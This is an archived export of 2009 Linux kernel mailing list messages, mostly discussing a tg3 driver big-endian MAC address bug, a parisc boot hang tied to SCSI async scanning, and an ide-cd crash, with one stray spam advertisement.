Original-Received: from relay2.sgi.com ([192.48.179.30]:34912 "EHLO relay.sgi.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1755588AbZDNSWl (ORCPT <rfc822;netdev@vger.kernel.org>);
	Tue, 14 Apr 2009 14:22:41 -0400
Original-Received: from estes.americas.sgi.com (estes.americas.sgi.com [128.162.236.10])
	by relay2.corp.sgi.com (Postfix) with ESMTP id 5B0D33040E7;
	Tue, 14 Apr 2009 11:22:40 -0700 (PDT)
Original-Received: from lnx-holt.americas.sgi.com (lnx-holt.americas.sgi.com [128.162.233.109])
	by estes.americas.sgi.com (Postfix) with ESMTP id 04E417000103;
	Tue, 14 Apr 2009 13:22:40 -0500 (CDT)
Original-Received: from holt by lnx-holt.americas.sgi.com with local (Exim 4.69)
	(envelope-from <holt@sgi.com>)
	id 1LtnHL-0001dY-UR; Tue, 14 Apr 2009 13:22:39 -0500
Content-Disposition: inline
In-Reply-To: <1239731057.3357.71.camel@mulgrave.int.hansenpartnership.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:125274 gmane.linux.ports.parisc:1539
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1539>

On Tue, Apr 14, 2009 at 05:44:17PM +0000, James Bottomley wrote:
> On Tue, 2009-04-14 at 10:21 -0700, Matt Carlson wrote:
> > James, Robin.  I looked through the patches again and found that the
> > SEEPROM routines were not being adjusted correctly along with the flash
> > NVRAM access routines.  The patch below should shore up the difference.
> > The patch works on both BE and LE systems.
> > 
> > Can you apply the patch below and see if it fixes your problem?  (You
> > may have to back out David's changes for the mac addresses to be
> > restored, but 'eeprom -e' dumps should be fixed.)  If it does, I'll
> > post a replacement patch that documents why the code is doing what it's
> > doing.
> 
> Yes, that seems to work better:  both the mac address and ethtool -e
> output are back to what 2.6.29 reports.

Works for me as well.

Thanks,
Robin
--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Tue, 14 Apr 2009 12:02:32 -0700
Lines: 133
Approved: news@gmane.org
Message-ID: <20090414190232.GA12600@xw6200.broadcom.net>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com>
 <20090413180052.GB11076@xw6200.broadcom.net>
 <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com>
 <20090413183725.GC11109@xw6200.broadcom.net>
 <1239655698.3278.83.camel@mulgrave.int.hansenpartnership.com>
 <20090414011710.GA11615@xw6200.broadcom.net>
 <20090414153911.GA22011@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239735788 8018 80.91.229.12 (14 Apr 2009 19:03:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 19:03:08 +0000 (UTC)
Cc: "Matthew Carlson" <mcarlson@broadcom.com>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>,
	"Michael Chan" <mchan@broadcom.com>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 21:04:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ltnvl-0006VM-DI
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 21:04:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752600AbZDNTC6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 15:02:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755436AbZDNTC6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 15:02:58 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:1452 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752600AbZDNTC4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 15:02:56 -0400
Original-Received: from [10.11.16.99] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Tue, 14 Apr 2009 12:02:44 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 387F82C1; Tue, 14 Apr 2009 12:02:44 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id 1E2422B0; Tue, 14 Apr
 2009 12:02:44 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPN09536; Tue, 14 Apr 2009 12:02:40 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id 0206074D03; Tue, 14
 Apr 2009 12:02:39 -0700 (PDT)
In-Reply-To: <20090414153911.GA22011@lackof.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FA025E3847513245-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1540>

On Tue, Apr 14, 2009 at 08:39:11AM -0700, Grant Grundler wrote:
> On Mon, Apr 13, 2009 at 06:17:10PM -0700, Matt Carlson wrote:
> > Sorry for the delay.  I just ran the same experiment on an ia64 we have
> > in-house.  The results were the same.  The machine was a HP integrity
> > BL870C pre-production blade with dual 5704S LOMs.  More responses
> > inline.
> 
> Matt,
> sorry - why test this on ia64?
> ia64 is also little endian.
> parisc is big endian.

Like Michael said in another post, Robin Holt experienced a similar (the
same?) problem on an IA64.  We were thinking that a problem reproduction
on one machine might imply the same problem on the other.

> > On Mon, Apr 13, 2009 at 01:48:18PM -0700, James Bottomley wrote:
> > > On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > > > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > > > return the data in bytestream format.  A memcpy() should be all that is
> > > > needed to transport the data to a different memory location.
> > > 
> > > But not the one you've done.  cpu_to_be32 is a nop pass through on our
> > > architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> > > our architecture (i.e. identical to the code that was doing the read in
> > > 2.6.29).
> > 
> > tg3_nvram_read() returns a 32-bit word of NVRAM data, swapped according to
> > the byteswapping rules for all register accesses.
> 
> Lets review that calling order I found in 2.6.29-rc8:
> 	tg3_nvram_read -> tr32 -> tg3_read32 -> readl -> swab
> 
> o The swab is actually in tg3_nvram_read.

Right.

> o one should be able to get rid of indirect function call in tr32.

Well, there are situations where the read operation needs to be done
using a different method.  So that the reader could concentrate on the
higher-level algorthm, we hide the implementation details of the read
through a function pointer.

> >  On big endian machines,
> > the data returned will be exactly as it would have been in NVRAM.  On
> > little endian machines, the data will be swapped when compared to a raw
> > read of the NVRAM.
> 
> Is this referring to the returned value from readl() or from tg3_nvram_read()?

It is referring to the value from readl().

> The readl() return value will be the same in both LE and BE architectures.
> readl() adjusts for endianess.
> __raw_readl() does not.
>
> > To bring the data back to a bytestream format on LE
> > systems, a swap is needed. 
> 
> For the above code path, if swap is needed on LE, it's also needed on BE.

Well, the 32-bit _value_ will be the same on architectures of either endianness.
But our goal is to deal with the data as a bytestream.  Consequently a
swap is needed.

For example, reading offset 0x0 of NVRAM (for legacy NVRAM formats)
readl will always produce a value of 0x669955aa.  On LE machines, this 32-bit
value will be laid out as :

  i             i + 3
  |               |
  V               V
---------------------
| aa | 55 | 99 | 66 |
---------------------

On BE machines, the byte ordering is obviously reversed.  To do a
memcpy, the bytes must be in the BE format.

> > After that, a memcpy should be all that is
> > required to extract the MAC address.
> > 
> > Code that operates on data in a bytestream format will necessarily look
> > different than code that operates on data as a 32-bit native endian
> > quantity.  The code changes can look a bit drastic and are easily
> > culpable at first glance.
> 
> This is true for code paths that deal with DMA data. It's not true
> for readl() or writel() since those are already taking care of
> the endianess.

Again, think bytestream.

> > > However, the memcpy is the wrong way around for us.
> > 
> > It shouldn't be, and that is the problem.  We are trying to determine
> > why the data isn't in the form we think it should be in.  The most
> > difficult part of this discussion is convincing ourselves that the end
> > result is the same, even though the path to get there changes in
> > significant ways.
> 
> It's not that hard. readl() is already compensating for endianess.
> 
> > The old code read the data from NVRAM, did a blind swap of the data and
> > then operated on that data as a 32-bit quantity.  The blind swap was
> > completely superfluous and only changed which byte the driver attempted
> > to get its data.
> 
> The swap is not superfluous if one is using memcpy.
>
> >  An important property of this version is that the
> > same code when working with machines of either endianness.
> > 
> > If you are with me this far, then hopefully you can see that, while the
> > two versions of the code appear different, they wind up with the same
> > result.  The change was made because the code became much more readable
> > when we describe the operations as a bytestream.
> 
> I think james already demonstrated that the result is not the same.
> 
> I'll stop here since most of the discussion is based on not knowing
> that readl() takes care of endianess.

Yes.  I think the discussion will be resolved once we distinguish
between operating on the data as a value and operating on the data as a
bytestream.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave Mckinney" <gabrielka12@chandlerrepublic.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Trust us your enhancing
Date: Sun, 1 Jan 2006 01:50:49 +0530
Lines: 8
Approved: news@gmane.org
Message-ID: <20060101015049.8030504@chandlerrepublic.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239787272 2660 80.91.229.12 (15 Apr 2009 09:21:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Apr 2009 09:21:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 15 11:22:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lu1KB-0006Q5-IR
	for glpp-linux-parisc@gmane.org; Wed, 15 Apr 2009 11:22:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752709AbZDOJVA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Apr 2009 05:21:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752441AbZDOJVA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Apr 2009 05:21:00 -0400
Original-Received: from ABTS-KK-dynamic-004.1.172.122.airtelbroadband.in ([122.172.1.4]:2153
	"HELO ABTS-KK-dynamic-004.1.172.122.airtelbroadband.in"
	rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1752709AbZDOJU7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Apr 2009 05:20:59 -0400
Original-Received: from wpbh ([118.93.166.40])
	by ABTS-KK-dynamic-004.1.172.122.airtelbroadband.in (8.13.4/8.13.4) with SMTP id 200601010152021875;
	Sun, 1 Jan 2006 01:52:37 +0530
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.5 points;
 *  0.5 FROM_ENDS_IN_NUMS From: ends in numbers
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  4.0 URIBL_SBL Contains an URL listed in the SBL blocklist
 *      [URIs: ennodayfge.com]
Xref: news.gmane.org gmane.linux.ports.parisc:1542 gmane.spam.detected:4364366
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1542>

Don't give up on hair growth - scientifically designed rollers will get your 
hair growing in no-time http://ecm.ennodayfge.com/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.kernel-testers,gmane.linux.scsi
Subject: Re: 2.6.30-rc1: parisc: system hangs on boot at __schedule()
Date: Wed, 15 Apr 2009 16:49:03 +0400
Lines: 36
Approved: news@gmane.org
Message-ID: <a4423d670904150549s48b844a7iba097acaf875b992@mail.gmail.com>
References: <a4423d670904080603w50face2fl87cd16bd7967cb5d@mail.gmail.com>
	 <20090408220921.GF7372@bombadil.infradead.org>
	 <a4423d670904090146w2937bf15le2afb5dfad718f0e@mail.gmail.com>
	 <20090409144611.GH7372@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239799759 7644 80.91.229.12 (15 Apr 2009 12:49:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Apr 2009 12:49:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
	Kernel Testers List <kernel-testers@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-scsi@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 15 14:50:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lu4ZZ-0000Bj-39
	for glpp-linux-parisc@gmane.org; Wed, 15 Apr 2009 14:50:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759354AbZDOMtJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Apr 2009 08:49:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759905AbZDOMtJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Apr 2009 08:49:09 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:59275 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759523AbZDOMtG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Apr 2009 08:49:06 -0400
Original-Received: by ewy9 with SMTP id 9so3201033ewy.37
        for <multiple recipients>; Wed, 15 Apr 2009 05:49:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=oepZSgqYmBcXpWmdIEJh9RdcHnx+V8n6kClFojh7TME=;
        b=DXJPbDq9EaqOpU9S5MQrsEHWiRY7eioXJZLwMi/advr83i8gJOSDNOaiSP8liDKadY
         urmxFQtDhD+PzYWULRgbtBwPlUqjye6CRaIymGRhpeFGfWiRwnGLDz7bO+UfdJOLxZAV
         uKlYcI5G70seD9O16+Vkv1tlqcC2PFvK3O6Oc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=JyV3NZ3kr2xnvjKo2Kis+NuQ14ALsOWw+4ECA0uLg/WnbGUPKajF1BCc2uASJx5wK/
         mJ4bAX3kZX7zddVFezgWpTKIoPPUokqtnWlE4/SmiWQ35yIEpRAwihBzlFoRvM5wyCrG
         vLTsiUV9pcfHU1OFuH1oMehhwrjygzNuX7Skk=
Original-Received: by 10.210.87.14 with SMTP id k14mr4148749ebb.4.1239799743825; Wed, 
	15 Apr 2009 05:49:03 -0700 (PDT)
In-Reply-To: <20090409144611.GH7372@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1543 gmane.linux.kernel:822839 gmane.linux.kernel.kernel-testers:4333 gmane.linux.scsi:49984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1543>

2009/4/9 Kyle McMartin <kyle@mcmartin.ca>:
> On Thu, Apr 09, 2009 at 12:46:15PM +0400, Alexander Beregalov wrote:
>> 2009/4/9 Kyle McMartin <kyle@mcmartin.ca>:
>> > On Wed, Apr 08, 2009 at 05:03:04PM +0400, Alexander Beregalov wrote:
>> >> Hi
>> >>
>> >> Machine is HP j6000.
>> >> CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz
>> >>
>> >> gcc version 4.3.3 (Gentoo 4.3.3-r2 p1.1, pie-10.1.5)
>> >>
>> >>
>> >> Machine hangs before starting rc scripts, but SysRq and C-A-Del work.
>> >>
>> >> All tasks are at __schedule+0x268/0x7bc:
>> >>
>> >
>> > .config?
>>
>> Sorry, attached.
>
> Thanks, I swapped disks into my j6700 and will try to reproduce.

It seems the problem is the same as mentioned here:
http://marc.info/?l=linux-kernel&m=123920746830420&w=2

The patch  fixes the issue.

James?
The same problem on two of my hosts: x86_64 with LSI SAS MegaRAID
and parisc with SYM53C8XX_2
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.kernel-testers,gmane.linux.scsi
Subject: Re: 2.6.30-rc1: parisc: system hangs on boot at __schedule()
Date: Wed, 15 Apr 2009 15:06:03 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <1239807963.3371.17.camel@mulgrave.int.hansenpartnership.com>
References: <a4423d670904080603w50face2fl87cd16bd7967cb5d@mail.gmail.com>
	 <20090408220921.GF7372@bombadil.infradead.org>
	 <a4423d670904090146w2937bf15le2afb5dfad718f0e@mail.gmail.com>
	 <20090409144611.GH7372@bombadil.infradead.org>
	 <a4423d670904150549s48b844a7iba097acaf875b992@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239808221 5437 80.91.229.12 (15 Apr 2009 15:10:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Apr 2009 15:10:21 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>,
	Kernel Testers List <kernel-testers@vger.kernel.org>,
	linux-scsi@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754119AbZDOPGW@vger.kernel.org Wed Apr 15 17:11:40 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1754119AbZDOPGW@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lu6iX-0004Kv-Ja
	for glk-linux-kernel-3@gmane.org; Wed, 15 Apr 2009 17:08:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754119AbZDOPGW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 15 Apr 2009 11:06:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752062AbZDOPGE
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Wed, 15 Apr 2009 11:06:04 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47133 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751812AbZDOPGD (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 15 Apr 2009 11:06:03 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B36C48EE1C1;
	Wed, 15 Apr 2009 08:06:01 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yBRWjcifa+ln; Wed, 15 Apr 2009 08:06:01 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E904E8EE037;
	Wed, 15 Apr 2009 08:06:00 -0700 (PDT)
In-Reply-To: <a4423d670904150549s48b844a7iba097acaf875b992@mail.gmail.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:822892 gmane.linux.ports.parisc:1548 gmane.linux.kernel.kernel-testers:4335 gmane.linux.scsi:49988
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1548>

On Wed, 2009-04-15 at 16:49 +0400, Alexander Beregalov wrote:
> 2009/4/9 Kyle McMartin <kyle@mcmartin.ca>:
> > On Thu, Apr 09, 2009 at 12:46:15PM +0400, Alexander Beregalov wrote:
> >> 2009/4/9 Kyle McMartin <kyle@mcmartin.ca>:
> >> > On Wed, Apr 08, 2009 at 05:03:04PM +0400, Alexander Beregalov wrote:
> >> >> Hi
> >> >>
> >> >> Machine is HP j6000.
> >> >> CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz
> >> >>
> >> >> gcc version 4.3.3 (Gentoo 4.3.3-r2 p1.1, pie-10.1.5)
> >> >>
> >> >>
> >> >> Machine hangs before starting rc scripts, but SysRq and C-A-Del work.
> >> >>
> >> >> All tasks are at __schedule+0x268/0x7bc:
> >> >>
> >> >
> >> > .config?
> >>
> >> Sorry, attached.
> >
> > Thanks, I swapped disks into my j6700 and will try to reproduce.
> 
> It seems the problem is the same as mentioned here:
> http://marc.info/?l=linux-kernel&m=123920746830420&w=2
> 
> The patch  fixes the issue.
> 
> James?
> The same problem on two of my hosts: x86_64 with LSI SAS MegaRAID
> and parisc with SYM53C8XX_2

Well, I can tell you why I don't see the problem:  My parisc system has
modular SCSI, so it doesn't really test out the async system that well
(it was designed more for monolithic kernels).

On the specific patch in the email, it seems reasonable, but I think it
might interfere with the sd probe async calls, so what you might end up
losing a rache where the host fully scanned, but the sd driver not
attached.

The root cause of the problem is that we now have two different async
mechanisms in SCSI: our original one for host scanning and the new one
for sd attachment.

James



From - Thu Nov 08 21:04:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Thu, 16 Apr 2009 00:45:31 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <49E6638B.8090700@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239835547 28324 80.91.229.12 (15 Apr 2009 22:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 15 Apr 2009 22:45:47 +0000 (UTC)
To: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linu
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 16 00:47:06 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LuDsn-0003xv-Ge
	for glpp-linux-parisc@gmane.org; Thu, 16 Apr 2009 00:47:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751689AbZDOWpi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 15 Apr 2009 18:45:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751281AbZDOWpi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 15 Apr 2009 18:45:38 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:42880 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753296AbZDOWph (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 15 Apr 2009 18:45:37 -0400
Original-Received: (qmail invoked by alias); 15 Apr 2009 22:45:35 -0000
Original-Received: from mnhm-590d3329.pool.einsundeins.de (EHLO [192.168.178.60]) [89.13.51.41]
  by mail.gmx.net (mp022) with SMTP; 16 Apr 2009 00:45:35 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/Y8IYQ+o/YNLnddbqNUgbH84luJHgHNUqBoJTg/j
	ucwa8rTohmQj+G
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.44
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1549>

With 2.6.30-rc2 I face a kernel crash on the 32bit hppa architecture 
due to ide-cd when udev creates the device nodes at startup:

Kernel Fault: Code=26 regs=8ed34c40 (Addr=00000024)
IASQ: 00000000 00000000 IAOQ: 1034b5ac 1034b5b0
 IIR: 4ab30048    ISR: 00000000  IOR: 00000024
 CPU:        0   CR30: 8ed34000 CR31: ffff55ff
 ORIG_R28: 00000000
 IAOQ[0]: ide_complete_rq+0x2c/0x70
 IAOQ[1]: ide_complete_rq+0x30/0x70
 RP(r2): cdrom_newpc_intr+0x178/0x46c
Backtrace:
 [<1035c608>] cdrom_newpc_intr+0x178/0x46c
 [<1034c494>] ide_intr+0x1b0/0x214
 [<1016d284>] handle_IRQ_event+0x70/0x150
 [<1016d4b0>] __do_IRQ+0x14c/0x1cc
 [<102f7864>] superio_interrupt+0x88/0xbc
 [<1016d284>] handle_IRQ_event+0x70/0x150
 [<1016d4b0>] __do_IRQ+0x14c/0x1cc
